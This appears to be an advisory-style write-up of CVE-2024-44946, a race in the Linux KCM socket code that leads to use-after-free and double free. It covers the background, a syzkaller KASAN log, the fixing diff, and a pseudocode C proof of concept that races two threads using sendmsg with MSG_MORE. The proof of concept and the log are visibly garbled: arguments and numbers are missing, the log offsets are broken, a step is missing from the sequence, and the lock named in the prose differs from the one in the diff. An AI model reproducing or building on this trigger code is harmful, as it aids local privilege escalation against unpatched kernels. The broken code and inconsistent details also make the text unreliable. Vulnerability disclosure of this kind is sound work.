- Impact: Use-after-free/double-free, leading to potential kernel panic or escalation of privilege
- Fixed in: Linux 6.8+, see commit diff

Exploitability: Exploit is possible with careful thread timing, detailed here

- References: Syzkaller report, Patch

Background

kcm (Kernel Connection Multiplexor) is a Linux networking subsystem used for high-throughput application-level multiplexed sockets. It has an internal buffer handling model a bit different from traditional sockets, and this exposed a high-risk concurrency bug.

A race between two threads both using the same KCM socket could result in catastrophically freeing an in-use buffer (skb), which may later be reused elsewhere—or even double-freed.

Here’s what actually happens in this bug (before the fix in Linux 6.8)

1. Thread A starts building a buffer (skb) for sending data with the MSG_MORE flag, creating kcm->seq_skb.

Thread A tries to resume, but blocks (no memory!).

3. Thread B swoops in, also sends data on the same socket (sendmsg). It sees A's buffer, finishes it, and puts kcm->seq_skb in the write queue.

On socket close, KCM's cleanup (kcm_release()) tries to free that buffer again—double free.

This is visible in syzkaller's kernel logs as various KASAN "use-after-free" bugs targeting skbuff objects.

Kernel Log Example (Syzkaller)

BUG: KASAN: slab-use-after-free in kcm_release+x170/x4c8 net/kcm/kcmsock.c:1691
Read of size 8 at addr ffff000cedfc80 by task syz-executor329/6167
...
Call trace:
 kcm_release+x170/x4c8 net/kcm/kcmsock.c:1691
 __sock_release net/socket.c:659 [inline]
 sock_close+xa4/x1e8 net/socket.c:1421
 ... (truncated)

The Fix

The developers added a per-socket mutex (sk->sk_lock) around the kcm_sendmsg() function. This ensures that only one thread can assemble buffers on the socket at any time, eliminating the race.

Main commit diff

diff --git a/net/kcm/kcmsock.c b/net/kcm/kcmsock.c
@@ -749,7 +749,9 @@ static int kcm_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
     struct sock *sk = sock->sk;
     struct kcm_sock *kcm = kcm_sk(sk);
     int ret;

+    mutex_lock(&kcm->send_lock);
     // critical buffer-building code goes here
     ...
+    mutex_unlock(&kcm->send_lock);
     return ret;
 }

See patch.

Orchestrating timing (one thread blocks, the other sends)

Here’s a simple proof-of-concept in C (pseudocode for clarity, actual working code would be more complex):

#include <pthread.h>
#include <sys/socket.h>
#include <linux/kcm.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

int kcm_fd;

// Thread A: starts buffer, blocks
void *thread_a_fn(void *unused) {
    char data[4096];
    struct msghdr msg = {};
    struct iovec iov = {data, sizeof(data)};

    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    // MSG_MORE allows thread B to race
    sendmsg(kcm_fd, &msg, MSG_MORE);
    // Thread A blocks here on lack of memory (simulate with large send rate)

    // On error, thread A will do something causing skb free...
    // Simulate by closing or aborting here!
    return NULL;
}

// Thread B: sends at the same time
void *thread_b_fn(void *unused) {
    char data[4096];
    struct msghdr msg = {};
    struct iovec iov = {data, sizeof(data)};

    msg.msg_iov = &iov;
    msg.msg_iovlen = 1;

    sendmsg(kcm_fd, &msg, ); // finish buffer, enter write queue
    // Now thread B causes the bug to manifest
    return NULL;
}

int main(void) {
    // Setup KCM socket, binds, attaches, etc.

    kcm_fd = socket(AF_KCM, SOCK_SEQPACKET, );
    if (kcm_fd < ) { perror("socket"); return 1; }
    // attach underlay TCP socket here (required by KCM)
    // ... dog-and-pony show omitted

    pthread_t ta, tb;
    pthread_create(&ta, NULL, thread_a_fn, NULL);
    usleep(100); // Help force a race!
    pthread_create(&tb, NULL, thread_b_fn, NULL);

    pthread_join(ta, NULL);
    pthread_join(tb, NULL);

    close(kcm_fd);

    return ;
}

NB: KCM sockets are privileged and require an associated TCP socket. See KCM documentation for use.

With proper timing, this can lead to use-after-free detections in KASAN, and in unprotected kernels, arbitrary code execution or kernel panic.

Real-World Risk

- Local privilege escalation: If an attacker has access to a KCM socket, they can potentially cause memory corruption. Exploitation is non-trivial but possible on servers or containers using KCM for high-throughput networking.
- Remote exploit? Remote exploitation is unlikely unless an application exposes KCM-based message passing to untrusted users.

## How to Fix / Protect

- Upgrade your kernel to at least Linux 6.8, or apply the official patch.

References & Further Reading

- Linux kernel commit fixing this issue
- Syzkaller bug report
- Patch discussion
- KCM documentation


Stay secure: Always serialize multi-threaded socket usage, or use socket types that are already thread-safe. Kernel concurrency bugs like CVE-2024-44946 are subtle, dangerous, and hard to detect without tools like syzkaller!

Timeline

Published on: 08/31/2024 14:15:04 UTC
Last modified on: 09/04/2024 12:15:05 UTC